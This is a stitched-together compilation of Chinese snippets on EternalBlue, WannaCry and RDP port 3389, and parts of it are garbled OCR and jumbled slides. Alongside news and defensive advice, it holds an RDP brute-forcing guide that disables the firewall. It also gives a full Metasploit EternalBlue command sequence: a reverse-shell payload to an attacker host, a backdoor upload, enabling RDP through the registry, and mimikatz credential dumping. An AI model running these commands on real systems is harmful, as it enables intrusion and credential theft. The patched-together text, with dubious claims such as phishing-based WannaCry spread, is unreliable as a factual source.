永恒之蓝3389漏洞原理详解解析
永恒之蓝3389漏洞原理详解
永恒之蓝3389漏洞原理详解实验环境操作机：Windows XPo IP : 172.16.11.2操作机：Kali Linuxo IP : 172.16.12.2目标机：Windows 7 64位o IP : 172.16.12.3目标机：Windows Server 2003o IP : 172.16.12.4掌握工具的用法以及临时防御措施实验步骤实验工具Metasploit：是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。
这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程等Equation Group T ools：这是一个集成的工具包，里面包含了IIS6.0、445端口、3 389端口、Rootkit等远程利用工具，本次试验我们主要用到它的445端口远程入侵功能，以及3389远程端口入侵功能。
实验内容Shadow Brokers再次暴露出一份震惊世界的机密文档，其中包含了多个W indows 远程漏洞利用工具，可以覆盖大量的Windows 服务器，一夜之间所有Windows服务器几乎全线暴露在危险之中，任何人都可以直接下载并远程攻击利用，考虑到国内不少高校、政府、国企甚至还有一些互联网公司还在使用Wi ndows 服务器，这次事件影响力堪称网络大地震。
影响版本全球70% 的Windows 服务器，包括Windows NT、Windows 2000、Windo ws XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0危害攻击者通过执行脚本，使目标主机蓝屏重启，获取Windows目标主机权限，对目标机器进行任意操作，攻击成本和利用条件都很低，只需在本地执行脚本，并设置相关参数。
389爆破服务器全过程 图解 个人翻译英文 非常详细
3389是一个远程桌面的端口，很多人为了更方便管理服务器，更新服务器上的资源等，经常会开启3389端口，用nastat -an命令可以查看该端口的开启。
对于一个账户如果账号密码过于弱很容易被爆破到，一般默认账号为Administrator，极少会是admin，而对于过于简单的密码，在3389密码字典中均可找到，下面来讲解爆破3389服务器，获得一台服务器的全过程。
工具：DUbrute3.0爆破工具（或者用frdpb) SYN扫描工具IP Search 1.首先用IP seacher搜索一段活跃的IP段，也可以在百度搜索活跃3389IP段，其次就是SYN扫描，最好是在server2003的服务器或者虚拟机下扫描，如果硬要在XP系统下扫描，那么先让XP支持SYN扫描，将支持SYN补丁tcpip复制到C:\Windows\System32\Drives目录下，重启后即可进行SYN扫描，对于刚装好的server2003系统先对以下服务进行操。
sc config LmHosts start= auto sc config RpcLocator start= autosc config NtlmSsp start= autosc config lanmanserver start= autosc config SharedAccess start= disablednet start LmHosts 2>nul net start RpcLocator 2>nul net start NtlmSsp 2>nul net start lanmanserver 2>nul net stop SharedAccess >nul 2>nul //*停止防火墙2.将IP seach下的IP段复制到SYN扫描器下的ip.txt中，开始扫描一段时间。
扫描完毕后生产ips文档，IPS文档中的IP就是开启3389端口的IP。
永恒之蓝
事件经过
2017年5月12日起，全球范围内爆发基于Windows网络共享协议进行攻击传播的蠕虫恶意代码，这是不法分子 通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。五个小时内，包括英国、俄 罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解 密恢复文件，对重要数据造成严重损失。
谢谢观看
永恒之蓝
网络攻击工具
01 事件经过
03 事件影响
目录
02 攻击方式 04 病毒防范
永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中 包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子 通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型 企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。
事件影响
乌克兰、俄罗斯、西班牙、法国、英国等多国均遭遇到袭击，包括政府、银行、电力系统、通讯系统、能源 企业、机场等重要基础设施都被波及，律师事务所DLA Piper的多个美国办事处也受到影响。中国亦有跨境企业 的欧洲分部中招。
病毒防范
微软已于2017年发布MS17-010补丁，修复了“永恒之蓝”攻击的系统漏洞，一定要及时更新Windows系统补 丁；务必不要轻易打开doc、rtf等后缀的附件；内网中存在使用相同账号、密码情况的机器请尽快修改密码，未 开机的电脑请确认口令修改完毕、补丁安装完成后再进行联网操作，可以下载“永恒之蓝”漏洞修复工具进行漏 洞修复。
被袭击的设备被锁定，并索要300美元比特币赎金。要求尽快支付勒索赎金，否则将删除文件，甚至提出半 年后如果还没支付的穷人可以参加免费解锁的活动。原来以为这只是个小范围的恶作剧式的勒索软件，没想到该 勒索软件大面积爆发，许多高校学生中招，愈演愈烈。
永恒之蓝病毒是什么入侵原理
永恒之蓝病毒是什么入侵原理在去年，全球爆发大规模蠕虫勒索病毒入侵事件，被入侵的用户需支付高额的赎金(或比特币)才能解密文件，目前攻击已造成多处教学系统、医院系统瘫痪。
虽然早已被控制，不过一些网友还是很好奇到底是个什么病毒，能造成全球性计算机安全威胁。
什么是永恒之蓝病毒?据了解，这次事件是不法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。
这次的“永恒之蓝”勒索蠕虫，是NSA网络军火民用化的全球第一例。
一个月前，第四批NSA相关网络攻击工具及文档被Shadow Brokers组织公布，包含了涉及多个Windows系统服务(SMB、RDP、IIS)的远程命令执行工具，其中就包括“永恒之蓝”攻击程序。
恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
目前，“永恒之蓝”传播的勒索病毒以ONION和WNCRY两个家族为主，受害机器的磁盘文件会被篡改为相应的后缀，图片、文档、视频、压缩包等各类资料都无法正常打开，只有支付赎金才能解密恢复。
这两类勒索病毒，勒索金额分别是5个比特币和300美元，折合人民币分别为5万多元和2000多元。
安全专家还发现，ONION勒索病毒还会与挖矿机(运算生成虚拟货币)、远控木马组团传播，形成一个集合挖矿、远控、勒索多种恶意行为的木马病毒“大礼包”，专门选择高性能服务器挖矿牟利，对普通电脑则会加密文件敲诈钱财，最大化地压榨受害机器的经济价值。
没有关闭的445端口“引狼入室”据360企业安全方面5月13日早晨提供的一份公告显示，由于以前国内多次爆发利用445端口传播的蠕虫，部分运营商在主干网络上封禁了445端口，但是教育网及大量企业内网并没有此限制而且并未及时安装补丁，仍然存在大量暴露445端口且存在漏洞的电脑，导致目前蠕虫的泛滥。
基于“永恒之蓝”漏洞的渗透攻击与系统安全加固
61《广播电视网络》 2021年第2期 总第374期1 引言为满足当前广电业务不断融合发展的需要，虚拟化、云平台、大数据系统、IP 化播出前端和制作中心等设备和应用相继投入使用。
与此同时，网络安全面临越来越严重的挑战，大量系统和应用漏洞被发布与利用，其中以“永恒之蓝”漏洞最具代表性。
“永恒之蓝”利用Windows 操作系统SMB 服务漏洞获取系统的最高权限,对应微软公司编号MS17-010。
不法分子通过改造“永恒之蓝”制作了WannaCry 勒索病毒，该病毒利用Windows 操作系统445端口存在的漏洞进行传播，并且具有自我复制、主动传播性。
被WannaCry 勒索病毒入侵后，用户主机、服务器操作系统内的图片、文档、音频、视频、数据等都会被加密，并在桌面弹出勒索对话框，要求受害者支付比特币作为赎金，才能解密并释放被加密的数据。
时至今日，各种新型勒索病毒不断涌现，攻击目标不再限于Windows 操作系统，Linux 操作系统也未能幸免，并且新型勒索病毒对攻击目标的选择越来越精准、隐蔽性越来越强，可以长期潜伏于受害者的内部网络中，当感染的主机和服务器达到一定数量后集中暴发，有的勒索病毒甚至可以预判并删除备份数据，再加密当前运行数据，给企业和用户带来巨大的损失。
基于以上原因，我们非常有必要了解“永恒之蓝”漏洞的攻击方式，从而加固防御系统。
2 信息收集阶段使用NMAP 对局域网靶机进行扫描，发现局域网内靶机开放端口445。
使用Nessus 对靶机进行扫描，扫描结果证明靶机存在MS17-010漏洞。
3 渗透攻击阶段首先，在Kali Linux 中启动Metasploit Framework。
其次，寻找“永恒之蓝”相关可利用模块。
执行命令“msf 6 > search ms17-010”，发现存在扫描模块“auxiliary/scanner/smb/smb_ms17_010”和攻击模块“exploit/基于“永恒之蓝”漏洞的 渗透攻击与系统安全加固姜巍 天津广播电视网络有限公司摘要：在广电网络多业务平台融合发展的大背景下，网络安全面临越来越严重的挑战。
WINDOWS远程桌面管理(3389)爆出严重漏洞
此安全更新可解决远程桌面协议中两个秘密报告的漏洞。
如果攻击者向受影响的系统发送一系列特制 RDP 数据包，则这些漏洞中较严重的漏洞可能允许远程执行代码。
默认情况下，任何 Windows 操作系统都未启用远程桌面协议 (RDP)。
没有启用 RDP 的系统不受威胁。
对于 Microsoft Windows 所有受支持的版本，此安全更新的等级为严重。
有关详细信息，请参阅本节中受影响和不受影响的软件小节。
该安全更新通过修改远程桌面协议处理内存中数据包的方式以及 RDP 服务处理数据包的方式来解决漏洞。
有关这些漏洞的详细信息，请参阅下一节漏洞信息下面特定漏洞条目的常见问题 (FAQ)小节。
建议。
大多数客户均启用了自动更新，他们不必采取任何操作，因为此安全更新将自动下载并安装。
尚未启用自动更新的客户必须检查更新，并手动安装此更新。
有关自动更新中特定配置选项的信息，请参阅 Microsoft 知识库文章 294871。
对于管理员、企业安装或者想要手动安装此安全更新的最终用户，Microsoft 建议客户使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新。
永恒之蓝原理
永恒之蓝原理永恒之蓝（EternalBlue）是一种利用Windows操作系统漏洞的攻击工具，最初由美国国家安全局（NSA）开发，后来被黑客组织“影子经纪人”（Shadow Brokers）泄露并广泛传播。
这一漏洞主要影响了Windows XP、Windows 7和Windows Server 2008等操作系统，使得黑客可以远程执行恶意代码，对系统进行攻击。
永恒之蓝原理的深入了解对于网络安全和漏洞修复具有重要意义。
永恒之蓝利用的是Windows操作系统中的一个SMB服务漏洞，该漏洞允许攻击者在未经授权的情况下执行任意代码。
SMB（Server Message Block）是一种用于在局域网中共享文件、打印机和串口等资源的协议，而永恒之蓝正是利用了SMB协议的漏洞来实施攻击。
通过发送特制的数据包，攻击者可以在目标系统上执行恶意代码，从而获取系统的控制权。
永恒之蓝原理的核心在于对SMB协议的漏洞利用。
攻击者通过构造特定的数据包，利用SMB协议中的漏洞来实现对目标系统的攻击。
这种攻击方式具有隐蔽性强、攻击面广的特点，使得许多未及时更新补丁的系统容易受到攻击。
而且，由于永恒之蓝的泄露和传播，使得该漏洞的威胁程度大大增加，成为网络安全的一大隐患。
针对永恒之蓝原理所带来的安全威胁，相关厂商和安全专家已经采取了一系列的应对措施。
首先是发布了针对该漏洞的安全补丁，用户可以通过及时更新系统补丁来修复漏洞，提高系统的安全性。
其次是加强对SMB协议的安全配置，限制SMB服务的对外访问，减少攻击面。
此外，网络安全厂商也提供了相应的防护软件和设备，帮助用户及时发现和阻止永恒之蓝攻击。
总的来说，永恒之蓝原理是一种利用Windows操作系统漏洞的攻击方式，对系统安全构成了严重威胁。
理解永恒之蓝的原理，采取有效的防护措施，及时修复漏洞，对于提高系统的安全性至关重要。
希望用户和相关安全人员能够加强对永恒之蓝原理的学习和了解，共同维护网络安全，防范潜在的安全风险。
漏洞“永恒之蓝”
永恒之蓝的危害范围
2017年5月14日，WannaCry 勒索病毒出现了变种：WannaCry 2.0，取消Kill Switch 将会 使传播速度或更快。截止2017年5月15日，WannaCry造成至少有150个国家受到网络攻击，
已经影响到金融，能源，医疗等行业，造成严重的危机管理问题。中国部分Window操作系
万大学生受到影响。
WannaCry，一种电脑软件勒索 病毒。该恶意软件会扫描电脑上 的TCP 445端口以类似于蠕虫病 毒的方式传播，攻击主机并加密 主机上存储的文件，然后要求以 比特币的形式支付赎金。
比特币
永恒之蓝的危害范围
2017年5月12日，WannaCry勒索 病毒事件造成99个国家遭受了攻击 ，其中包括英国、美国、中国、俄 罗斯、西班牙和意大利。
处置方案
1
2
3
4
PART 05
事件总结
事前防护
感谢您的观看
主讲人：石海赟
永恒之蓝
主讲人：石海赟
1
勒索病毒的爆发 勒索病毒的事件分析 勒索病毒的本地行为 勒索病毒的应急处置方案 事件总结
2
3
4
5
PART 01
勒索病毒的爆发
爆发
2017年5月12日勒索病毒全球肆虐 ，波及范围达全球99国。英国、意 大利、俄罗斯等全球99个国家爆发 勒索病毒攻击。我国校园网用户的 电脑大面积遭受攻击，预计有2600
PART 03
勒索病毒的本地行为
本地行为
当用户主机系统被该勒索软件入侵后，弹出如下勒索对话框 ，提示勒索目的并向用户索要比特币。加密系统中的照片、图 片、文档、压缩包、音频、视频、可执行程序等几乎所有类型 的文件，被加密的文件后缀名被统一修改为“.WNCRY”。
永恒之蓝原理
永恒之蓝原理随着互联网的普及和信息化的发展，网络安全问题越来越受到人们的关注。
近年来，网络攻击事件层出不穷，造成了极大的损失和影响。
而“永恒之蓝”作为近年来最为恶劣的网络攻击事件之一，更是引起了全球的广泛关注。
“永恒之蓝”是一种利用Windows操作系统漏洞进行攻击的病毒，其攻击方式极具隐蔽性和破坏性。
该病毒的攻击原理主要是利用NSA （美国国家安全局）泄露的Windows系统漏洞，通过网络传播并感染目标计算机，最终实现对目标系统的控制和攻击。
那么究竟是什么原理使得“永恒之蓝”攻击如此成功呢？其实，这与网络安全的基本原理有关。
在网络安全领域，有一个著名的三要素模型，即“机密性、完整性、可用性”模型。
这三个要素分别代表了信息安全的三个方面：保密性、完整性和可用性。
而“永恒之蓝”攻击正是利用了这三个方面的漏洞，实现了对目标系统的攻击和控制。
首先，机密性方面，是指信息在传输和存储过程中不被未授权的人员所知晓。
而“永恒之蓝”攻击正是针对Windows系统的机密性漏洞进行的。
该病毒通过利用Windows系统中的漏洞，实现了对目标系统的入侵和控制，从而窃取了目标系统中的敏感信息。
其次，完整性方面，是指信息在传输和存储过程中不被篡改或损坏。
然而，“永恒之蓝”攻击正是利用了Windows系统的完整性漏洞。
该病毒通过在目标系统中植入恶意代码，实现了对系统的控制和篡改，从而对系统的完整性造成了威胁。
最后，可用性方面，是指信息在传输和存储过程中能够被及时、可靠地获取和使用。
然而，“永恒之蓝”攻击正是利用了Windows系统的可用性漏洞。
该病毒通过在目标系统中植入恶意代码，占用了系统资源，从而造成了系统的崩溃和不可用。
综上所述，“永恒之蓝”攻击利用了Windows系统的机密性、完整性和可用性漏洞，实现了对目标系统的攻击和控制。
而解决这些漏洞，就需要采取有效的措施，提高网络安全的水平。
这包括加强系统漏洞的修补和补丁更新，提高网络安全意识和能力，加强网络安全监管和管理等方面。
《“永恒之蓝”勒索蠕虫最全知识手册 》
《“永恒之蓝”勒索蠕虫最全知识手册》你该知道的都在这里！《“永恒之蓝”勒索蠕虫最全知识手册》2017-05-14 360企业安全今天，你一开机可能就不得不损失300美元！今天，你一开机所有文件将被加密无法读取！What？2017 年5 月12 日，“永恒之蓝”勒索蠕虫爆发，短短几小时，攻击了中国、英国、美国、德国、日本等近百个国家，至少1600 家美国组织，11200 家俄罗斯组织都受到了攻击，截至到5月13日20点，国内也有29372家机构组织的数十万台机器感染，其中有教育科研机构4341家中招，是此次事件的重灾区，事件影响持续发酵中。
什么是“永恒之蓝”勒索蠕虫？中了“永恒之蓝”勒索蠕虫如何紧急处置？。
针对大家最关心的“永恒之蓝”勒索蠕虫的相关问题360企业安全专家进行专业解答，集成《“永恒之蓝”勒索蠕虫最全知识手册》。
关于“永恒之蓝”勒索蠕虫，你该知道的都在这里▌1. 什么是蠕虫病毒？答：蠕虫病毒是一种常见的计算机病毒，它的主要特点是利用电脑存在的漏洞，通过网络进行自主的复制和传播，只要一释放出来，就会在无人干预的情况下以指数级快速扩散。
▌2. 这个病毒到底什么原理？答：这个病毒是勒索软件和蠕虫病毒的合体，利用了Windows操作系统的一个漏洞，投送勒索软件到受害主机。
在有蠕虫的环境中，有漏洞的用户电脑只要开机就会很快被感染，不需要任何用户操作，并且被感染的受害主机还会对其他主机发起同样的攻击，所以传播速度极快。
▌3.中了这个病毒会有什么危害？答：受害主机中招后，病毒就会在受害主机中植入勒索程序，硬盘中存储的文件将会被加密无法读取，勒索蠕虫病毒将要求受害者支付价值300/600美元的比特币才能解锁，而且越往后可能要求的赎金越多，不能按时支付赎金的系统会被销毁数据。
▌4. 这个病毒为什么影响这么严重？答：本次事件被认为是迄今为止影响面最大的勒索交费恶意活动事件，一旦受害主机存在被该病毒利用的漏洞，在连接网络的情况下，即使不做任何操作，病毒就会在受害主机中植入勒索程序，此外，由于其属于蠕虫病毒，具有自我复制、传播的特性，因此扩散速度极快。
wannacry原理
wannacry原理WannaCry原理解析：探寻全球最具破坏力的勒索软件近年来，网络安全问题备受关注，各种恶意软件层出不穷，其中最为臭名昭著的就是WannaCry勒索软件。
WannaCry在2017年5月爆发时迅速蔓延至全球，对全球范围内的数十万台计算机造成了巨大的破坏。
本文将对WannaCry的原理进行深入解析，帮助读者更好地了解该恶意软件的运作方式。
我们需要了解WannaCry的传播方式。
WannaCry主要通过利用操作系统漏洞进行传播，而Windows操作系统中的一个名为“永恒之蓝”的漏洞成为了WannaCry的入侵通道。
攻击者通过该漏洞远程执行恶意程序，将WannaCry勒索软件植入受害者的计算机中。
此外，WannaCry还可以通过感染USB设备和网络共享等方式进行传播，从而快速蔓延至大量计算机。
我们来了解WannaCry的加密原理。
一旦感染了计算机，WannaCry 会对计算机中的文件进行加密，并要求用户支付比特币作为赎金以解密文件。
WannaCry使用的是非对称加密算法，首先生成一对公钥和私钥，公钥用于加密文件，而私钥则储存在攻击者的服务器上。
通过这种方式，攻击者可以确保只有在赎金支付后才能提供解密所需的私钥。
WannaCry还具有自我保护机制，使其更加难以清除。
WannaCry会在感染计算机后在系统中创建一个名为“mssecsvc2.0”或“tasksche.exe”的服务，并将自身加入到系统启动项中。
这样一来，即使用户在发现感染后删除了WannaCry的相关文件，它仍会在系统重启后重新激活，继续对文件进行加密。
针对WannaCry的防范措施也是非常重要的。
首先，及时更新操作系统补丁是防止WannaCry感染的重要手段。
微软在WannaCry爆发后发布了相应的补丁，修复了“永恒之蓝”漏洞，因此及时更新操作系统可以大大减少被感染的风险。
其次，不随意打开来历不明的邮件附件和下载不明来源的文件，以免触发WannaCry的感染过程。
永恒之蓝原理
永恒之蓝原理永恒之蓝（EternalBlue）是一种网络攻击利用工具，最初由美国国家安全局（NSA）开发，用于攻击微软Windows操作系统中的漏洞，它的泄露和利用导致了全球范围内的网络安全事件。
永恒之蓝利用了Windows操作系统中的一个名为“MS17-010”的漏洞，通过这个漏洞可以实现远程执行代码，使得攻击者可以在受害系统上执行恶意代码，从而实现攻击。
永恒之蓝的原理主要是基于Windows操作系统中的SMB服务（Server Message Block）的漏洞。
SMB协议是一种用于在局域网中共享文件、打印机和其他资源的网络协议，而MS17-010漏洞则是在SMB服务的处理代码中存在着安全漏洞，攻击者可以通过构造特定的数据包发送给目标系统，触发漏洞并执行恶意代码。
在永恒之蓝攻击中，攻击者通常会利用漏洞发送特制的数据包到目标系统的SMB服务，一旦目标系统存在漏洞并且未及时修补，攻击者就可以利用这个漏洞执行恶意代码，进而获取系统权限，甚至控制整个系统。
这种攻击方式具有隐蔽性强、攻击面广的特点，因此在被利用后很难及时发现和清除。
为了防范永恒之蓝攻击，首先需要及时升级系统补丁，修复SMB服务中存在的漏洞。
微软已经发布了针对MS17-010漏洞的安全补丁，用户可以通过官方渠道及时下载并安装这些补丁，以保障系统的安全。
其次，加强网络安全防护措施，限制SMB服务的对外访问，使用防火墙和入侵检测系统等安全设备对网络流量进行监控和过滤，及时发现异常流量和攻击行为。
此外，加强对系统的安全加固和监控，定期对系统进行漏洞扫描和安全审计，及时发现和修复潜在的安全风险。
总的来说，永恒之蓝攻击利用了Windows操作系统中的SMB服务漏洞，通过发送特制的数据包触发漏洞执行恶意代码，造成了严重的网络安全威胁。
为了有效防范这种攻击，用户和组织应及时升级系统补丁，加强网络安全防护措施，加固系统安全，从而有效防范永恒之蓝攻击带来的风险。
“永恒之蓝”解决方案
04
永恒之蓝解决方案的实施 效果
实施效果一：提高网络安全防护能力
总结词
通过部署永恒之蓝解决方案，组织机构的网络安全防护能力得到显著提升。
详细描述
该解决方案采用了先进的安全技术和策略，能够有效地检测和防御各类网络攻击 ，包括勒索软件、恶意软件、钓鱼攻击等。通过实时监控和预警机制，组织机构 能够及时发现并应对安全威胁，减少安全漏洞和风险。
漏洞评估：对扫描结果进行分析和评 估，确定漏洞的严重程度和影响范围。
步骤四
安全加固：对网络系统进行安全加固， 包括配置安全策略、加强账号管理、 定期更新补丁等措施。
解决方案的优势和特点
全面性
永恒之蓝解决方案覆盖了网络安全的各个方面，包括系 统漏洞、恶意软件、网络攻击等。
可定制性
根据客户的具体需求和网络环境，提供个性化的解决方 案和服务。
应用场景三：系统升级与维护
总结词
永恒之蓝解决方案能够简化系统升级与维护 过程，降低维护成本并提高系统稳定性。
详细描述
该方案提供自动化的系统更新和补丁管理功 能，确保操作系统和应用程序始终保持最新 状态。通过自动化部署和配置管理，永恒之 蓝解决方案降低了人工干预的需求，减少了 错误和安全风险。同时，该方案还提供系统 性能监控和故障排除工具，帮助企业快速定 位和解决问题，提高系统的可靠性和稳定性
ABCD
高效性
该方案利用自动化工具进行漏洞扫描和修复，提高了修 复效率。
安全性
永恒之蓝解决方案采用了严格的安全措施和技术，确保 数据和系统的安全性。
03
永恒之蓝解决方案的应用 场景
应用场景一：网络安全防护
总结词
永恒之蓝解决方案在网络安全防护方面具有显著效果，能够有效防范网络攻击 和数据泄露。
与3389端口相关的漏洞分析和解决方法
维普资讯
ｌ 术 实 技 技 用 术
｝ Ｎｅ ｒ ’ 殳 ＣＯ ｌＰ ｌｅ ｃ ｌｉ Ｙ Ｉ ＯＩ ｋ‘ Ｉ ｌ Ｓ ｒ Ｉ ｌ Ｌ ｒ ｅ Ｌ
与 ３ ８ 口相 关的漏洞分析和解决方法 ３ ９端
再 次 扫 描 一 下 ，３ ８ ３ ９的端 口就 可 以访 问 了 。
系统 漏 洞 的 一 种 ， 安装 系统 时 ， 中 有一 项 是超 级 终 端 服 务 ， 当 其
该服 务所 开 放 的 端 口号 为 ３ ８ ， ３ ９ Ｗｉｄ ｗｓ ３９ ３８ 是 ｎ ｏ 的一 个 正 常
的服务 ， 只是没 有打上１ 丁而开的 ３ ８ （ １ 、 ３９终端服务） 口，它是 端
随 着 计 算 机 技 术 ， 络 技 术 的 飞速 发 展和 普 及 应 用 ， 网 网络 安 全 已 日渐 成 为 人们 关 注 的 焦 点 问 题之 一 ， 种 系统 漏 洞 层 出 各
不 穷 ， 击 者 能 够 利 用这 些漏 洞 攻 击 目标 主 机 。输 入 法 漏 洞 是 攻
使 用 嗅 探 工具 找 到其 他 的密 码 ， 者 配合 一些 插 件 获 取 登 录 时 或 候 的 密 码 。 对 于 除 了开 一些 像 ＴＣ １８ Ｐ ２ ，０端 口以 外 ，其 他 端 几都 被过 滤掉 ，只有 找 一 个 已 获 取 权 限 的 账 户做 一 个 接 力 赛 ， 若 有 台 ８ 端 口的 服 务 器 ， 一 个 中 转 ， ０ 做 先停 掉 Ｗ Ｗ Ｗ 服 务 ， 然 后 监听 ８ 和 ３ ３ 这 ２ 端 口 ， 中 ８ 端 口是 对 刚 才溢 出的 机 ０ ３３ 个 其 ０ 器把 ３ ８ ３９的数 据 重 定 向过 来 的 ，而 ３ ３ 等 待 连 接 的 端 口 。 ３ ３是 如 刚 一运 行就 有 访 问Ｗ ｅ （０的数 据 ， 监听 工具 上 传 到刚 才 ｂ８） 将 提 好 权 限 的机 器 上 面 ，连 接 本 地 的 ３ ８ 端 口和 远 程 机 器 的 ８ ３９ ０ 端 口一 最 好 这 两 个 程 序 同 时 运 行 ， 时 我 们 用 终端 客 户服 务端 这 连 接 到 ３ ３ 端 口 ，中 间 通过 若干 数 据 转 发 ，就 可 进 行 连 接 了 ， ３３
msf永恒之蓝漏洞利用命令总结
msf永恒之蓝漏洞利⽤命令总结⼀、启动msf之前的准备⼯作root@kali:~#service postgresql startroot@kali:~#msfdb initroot@kali:~#msfconsole⼆、查看是否存在漏洞msf >search ms17_010寻找所需模块msf >use auxiliary/scanner/smb/smb_ms17_010（加载扫描exp）msf >set RHOSTS 192.168.92.129（设置被扫描IP）msf >run(进⾏扫描，观察是否存在该漏洞)三、漏洞攻击msf >use exploit/windows/smb/ms17_010_eternalblue (加载攻击模块)msf > set RHOST 192.168.92.129（被攻击机IP）msf >set LHOST 192.168.92.132（设置本地IP）msf >set LPORT 4444(设置连接端⼝)msf >set payload windows/x64/meterpreter/reverse_tcp（配置回链⽅式）msf >show options(查看配置相关信息)msf >run（或者exploit,开始攻击）四、攻击成功！查看系统信息meterpreter>sysinfo爆出系统信息meterpreter>screenshot截屏，截屏后的图⽚存放在/root/中meterpreter>upload xx.exe C:\yyy\xxx.exe 这条命令可以上传任意⽂件，后⾯会⽤到，上传后门meterpreter >shell 进⼊靶机cmd如果连接到windows的shell显⽰乱码，使⽤如下命令C:\Windows\system32>chcp 65001五、爆破密码的过程，使⽤mimikatz⾸先查看是否开启3389端⼝，如果没有则使⽤以下命令在cmd中开启C:\Windows\system32>netstat –ano 观察3389端⼝是否开启C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fC:\Windows\system32>exitmeterpreter > load mimikatzmeterpreter > msv <获取的账号信息是hash值>meterpreter > ssp <获取的账号信息是明⽂信息>meterpreter > wdigest <读取内存中存放的账号密码明⽂信息>meterpreter > kerberos <和上⾯类似>六、连接win7的远程桌⾯重新打开⼀个命令界⾯root@kali:~# rdesktop 192.168.92.129输⼊刚才破解的⽤户名和密码。
wannacry病毒原理
wannacry病毒原理
WannaCry病毒是一种勒索软件，也被称为加密勒索软件，于2017年5月爆发，并造成了全球性的网络攻击。
它利用了一
个称为“永恒之蓝”的漏洞，该漏洞是由美国国家安全局（NSA）开发的用于监控网络通信的工具所导致的，而这个工具在被泄露后就被黑客利用，用于发动勒索攻击。
WannaCry病毒通过使用恶意软件和网络钓鱼攻击的方式，传
播到经典Microsoft Windows操作系统的脆弱点上。
当用户点
击了一个带有恶意链接或附件的电子邮件时，病毒就会通过网络进行传播。
一旦感染了一个系统，病毒会在后台运行，并加密系统上的文件，封锁用户对文件的访问。
被感染的用户会看到一个勒索信息，要求支付比特币作为解密文件的费用。
这种勒索方式使得黑客能够通过匿名的比特币支付接收资金，同时还能保护他们的身份。
此外，WannaCry病
毒的传播速度也非常快，因为它能够自动扫描网络，并感染与被感染系统处于同一网络中的其他系统。
虽然WannaCry病毒造成了大范围的破坏，但许多安全专家和
软件公司都积极采取了措施进行防御和修复漏洞。
微软公司发布了补丁程序来修复与EternalBlue漏洞相关的问题，并提供
了相应的安全更新。
此外，用户也应该时刻保持操作系统和安全软件的最新版本，避免点击来自不明来源的链接和附件。
综上所述，WannaCry病毒利用了一个漏洞，迅速传播并加密
用户文件，然后勒索比特币作为解密费用。
用户应保持操作系
统和软件的最新版本，并避免点击可疑链接和附件，以减少受到此类病毒攻击的风险。
黑客3389端口详解
黑客3389端口详解3389原指计算机的3389端口, 一般被用来代指远程桌面，可以被修改。
它并不是一个木马程序，但如果不是必须的，建议关闭该服务。
原指计算机的3389端口因为它属于WINDOWS的远程桌面的初始端口[可以修改]3389所以一般被用来代指远程桌面微软的远程桌面是为了方便广大计算机管理员远程管理自己的计算机而设定的，但是只要有管理密码，3389可以为任何有管理密码的人提供服务……大部分黑客都喜欢在肉鸡上开个3389，因为3389是系统的正常服务，使用也非常方便。
它能达到灰鸽子这类的远程控制软件的一样的效果，最主要它是正常服务……3389很容易通过各种扫描工具(如superscan\x-scan等)得到,由于一些电脑使用者缺乏安全意识经常给administrator\new帐户密码留空,这样菜鸟们可以用mstsc.exe以GUI模式登陆别人的电脑.为防止别人利用3389登陆计算机最好给每个帐户设置密码或用防火墙关闭该端口.3389建议关闭.关闭3389端口的方法：首先说明3389端口是windows的远程管理终端所开的端口，它并不是一个木马程序，请先确定该服务是否是你自己开放的。
如果不是必须的，建议关闭该服务。
win2000 server 开始-->程序-->管理工具-->服务里找到Terminal Services服务项，选中属性选项将启动类型改成手动，并停止该服务。
win2000 pro 开始-->设置-->控制面板-->管理工具-->服务里找到Terminal Services服务项，选中属性选项将启动类型改成手动，并停止该服务。
windows xp关闭的方法：在我的电脑上点右键选属性-->远程，将里面的远程协助和远程桌面两个选项框里的勾去掉。
通过注册表关闭3389端口开始---运行输入regedit打开注册表[HKEY_LOCAL_MACHINE\System\control\Terminalserver\wd s\rdpwd\tds\tcp分支,选中名为portnumber的键值,将其3389改为其他(如1234)看我操作这里control有2个分别为co ntrolSET001 和controlSET002我一个一个来先进controlSET001再来controlSET002下面我们在看currentcontrolset[HKEY_LOCAL_MACHINE\System\currentcontrolset\control\ Terminalserver\winstations\ RDP-T cp\PortNumber分支里应该有一个或者很多类似的子键,一样的改他的值3389为其他(如1234)。
永恒之蓝原理
永恒之蓝原理永恒之蓝（EternalBlue）原理。
永恒之蓝（EternalBlue）是一种利用Windows操作系统漏洞的网络攻击工具，于2017年5月被“永恒之蓝”勒索软件攻击事件广泛使用，引起了全球范围内的关注。
它利用了Windows操作系统中的一个名为MS17-010的漏洞，使得攻击者可以在未经授权的情况下远程执行恶意代码，从而控制受感染的计算机。
本文将对永恒之蓝的原理进行详细介绍，以帮助读者更好地了解这一网络安全威胁。
永恒之蓝利用的是Windows操作系统中的SMB服务（Server Message Block）的漏洞。
SMB是一种用于在计算机之间共享文件、打印机和其他资源的网络通信协议，而MS17-010漏洞则存在于SMBv1协议的实现中。
攻击者可以利用这一漏洞发送特制的网络数据包，触发目标系统上的缓冲区溢出，从而在系统内存中执行恶意代码。
一旦攻击成功，攻击者就可以获得对受感染计算机的完全控制，进而实施各种恶意活动，如窃取敏感信息、加密文件勒索等。
